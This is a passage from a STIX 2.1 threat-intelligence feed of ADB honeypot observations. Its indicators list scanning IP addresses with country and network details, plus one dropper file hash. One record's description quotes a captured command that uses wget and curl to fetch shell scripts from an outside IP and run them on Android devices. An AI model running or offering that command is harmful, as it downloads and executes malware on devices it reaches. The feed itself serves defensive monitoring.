      "created": "2026-04-16T08:00:15.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=CY; asn=6866; asn_org=Cyprus Telecommunications Authority; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-16T07:07:45.000Z | last_seen=2026-04-16T07:17:51.360Z | ports=5555 | cc=CY | asn=6866 | org=Cyprus Telecommunications Authority",
      "id": "indicator--9c916ece-c5cb-4af7-bdab-02be3233356f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '87.228.233.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T08:00:15.000Z",
      "valid_until": "2026-05-18T08:00:07.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-16T07:07:45.000Z",
          "last_seen": "2026-04-16T07:17:51.360Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CY"
          ],
          "asn": [
            "6866"
          ],
          "org": [
            "Cyprus Telecommunications Authority"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-16T12:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=7029; asn_org=Windstream Communications LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-16T11:46:16.000Z | last_seen=2026-04-16T11:56:18.019Z | ports=5555 | cc=US | asn=7029 | org=Windstream Communications LLC",
      "id": "indicator--3848886a-fdfa-4299-ad49-ea5c49110518",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '69.30.150.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T12:00:03.000Z",
      "valid_until": "2026-05-18T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-16T11:46:16.000Z",
          "last_seen": "2026-04-16T11:56:18.019Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "7029"
          ],
          "org": [
            "Windstream Communications LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-16T14:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-16T13:50:14.000Z | last_seen=2026-04-16T14:00:27.908Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--27fec746-9290-44af-802d-db365b112ace",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '116.178.131.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T14:00:10.000Z",
      "valid_until": "2026-05-18T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-16T13:50:14.000Z",
          "last_seen": "2026-04-16T14:00:27.908Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-16T14:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-16T13:49:58.000Z | last_seen=2026-04-16T14:00:15.937Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--d8716379-b9fd-4a30-8243-b05e53f92ab0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '123.145.33.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T14:00:10.000Z",
      "valid_until": "2026-05-18T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-16T13:49:58.000Z",
          "last_seen": "2026-04-16T14:00:15.937Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-16T14:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-16T13:49:23.000Z | last_seen=2026-04-16T13:50:34.634Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--5d74db63-012c-43bd-935b-8370147e6abd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '144.123.77.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T14:00:10.000Z",
      "valid_until": "2026-05-18T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-16T13:49:23.000Z",
          "last_seen": "2026-04-16T13:50:34.634Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-16T14:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-16T13:49:42.000Z | last_seen=2026-04-16T13:54:50.326Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--81109e86-e340-4185-9d58-4f31583f1111",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '171.120.28.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T14:00:10.000Z",
      "valid_until": "2026-05-18T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-16T13:49:42.000Z",
          "last_seen": "2026-04-16T13:54:50.326Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-16T14:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=9 | first_seen=2026-04-16T13:49:50.000Z | last_seen=2026-04-16T14:00:01.948Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--b05b2f97-1ad2-4726-a356-dd0243f041d1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '220.250.11.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T14:00:10.000Z",
      "valid_until": "2026-05-18T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 9,
          "first_seen": "2026-04-16T13:49:50.000Z",
          "last_seen": "2026-04-16T14:00:01.948Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-16T14:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=11 | first_seen=2026-04-16T13:49:34.000Z | last_seen=2026-04-16T13:59:53.983Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--00f38aa1-f9f5-4524-986f-45ac3bdfffb7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '220.250.11.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T14:00:10.000Z",
      "valid_until": "2026-05-18T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 11,
          "first_seen": "2026-04-16T13:49:34.000Z",
          "last_seen": "2026-04-16T13:59:53.983Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-16T14:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=9 | first_seen=2026-04-16T13:50:06.000Z | last_seen=2026-04-16T14:00:23.877Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--f4c29b8c-0b3c-4033-84fd-a2bc250735d9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '221.207.34.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T14:00:10.000Z",
      "valid_until": "2026-05-18T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 9,
          "first_seen": "2026-04-16T13:50:06.000Z",
          "last_seen": "2026-04-16T14:00:23.877Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-16T14:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=9 | first_seen=2026-04-16T13:50:30.000Z | last_seen=2026-04-16T14:00:47.800Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--9d135ee4-9a4c-4aa0-89fc-e410af85c0ab",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '221.207.34.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T14:00:10.000Z",
      "valid_until": "2026-05-18T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 9,
          "first_seen": "2026-04-16T13:50:30.000Z",
          "last_seen": "2026-04-16T14:00:47.800Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-16T14:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=CN; asn=17621; asn_org=China Unicom Shanghai network; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-16T13:49:29.000Z | last_seen=2026-04-16T13:59:36.153Z | ports=5555 | cc=CN | asn=17621 | org=China Unicom Shanghai network",
      "id": "indicator--c188707c-10c3-4abe-9340-2633b382e65c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '223.166.22.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T14:00:10.000Z",
      "valid_until": "2026-05-18T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-16T13:49:29.000Z",
          "last_seen": "2026-04-16T13:59:36.153Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "17621"
          ],
          "org": [
            "China Unicom Shanghai network"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-16T14:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=2; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=17 | first_seen=2026-04-16T12:56:54.000Z | last_seen=2026-04-30T11:27:43.319Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--ec6fb90d-ec91-43b0-9143-b816fc7b95e9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T14:00:10.000Z",
      "valid_until": "2026-05-18T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 17,
          "first_seen": "2026-04-16T12:56:54.000Z",
          "last_seen": "2026-04-30T11:27:43.319Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-16T15:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=LT; asn=209605; asn_org=UAB Host Baltic; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-16T14:34:42.000Z | last_seen=2026-04-16T14:35:49.970Z | ports=5555 | cc=LT | asn=209605 | org=UAB Host Baltic",
      "id": "indicator--529e7564-b56c-467b-9c50-c4ed4aa0a829",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '141.98.10.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T15:00:11.000Z",
      "valid_until": "2026-05-18T15:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-16T14:34:42.000Z",
          "last_seen": "2026-04-16T14:35:49.970Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LT"
          ],
          "asn": [
            "209605"
          ],
          "org": [
            "UAB Host Baltic"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-16T15:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=BR; asn=263038; asn_org=SkyNet Prestacao S.C.M. LTDA. ME.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-16T14:58:16.000Z | last_seen=2026-04-16T14:59:19.236Z | ports=5555 | cc=BR | asn=263038 | org=SkyNet Prestacao S.C.M. LTDA. ME.",
      "id": "indicator--f0fc98ad-d5e2-45de-bf60-a32e0e14df85",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '177.23.43.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T15:00:11.000Z",
      "valid_until": "2026-05-18T15:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-16T14:58:16.000Z",
          "last_seen": "2026-04-16T14:59:19.236Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BR"
          ],
          "asn": [
            "263038"
          ],
          "org": [
            "SkyNet Prestacao S.C.M. LTDA. ME."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-16T19:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"cd /data/local/tmp/; busybox wget http://43.228.157.130/w.sh; sh w.sh android.exploit; curl -O http://43.228.157.130/c.sh; sh c.sh android.exploit\"\n\nObserved in ADBHoney telemetry for 2026-04. events=30 | first_seen=2026-04-16T15:16:27.000Z | last_seen=2026-04-16T18:25:19.304Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--c4f3d7e5-7dfd-4b93-981f-8c0d937c3b25",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T19:00:02.000Z",
      "valid_until": "2026-05-18T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 30,
          "first_seen": "2026-04-16T15:16:27.000Z",
          "last_seen": "2026-04-16T18:25:19.304Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-16T19:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/42da552b5c2c75557524102de8ca0570a1e3297cda0a6aeec4e1ecf74a243c50.raw; last_seen=2026-04-16T18:23:32.439Z",
      "id": "indicator--6ff54861-3935-4a42-aef3-489b6af89bb4",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '42da552b5c2c75557524102de8ca0570a1e3297cda0a6aeec4e1ecf74a243c50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T19:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-16T22:01:24.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=23 | first_seen=2026-04-16T21:27:28.000Z | last_seen=2026-04-16T21:39:13.951Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--7330c72d-a585-4b4d-848a-f43b86826036",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
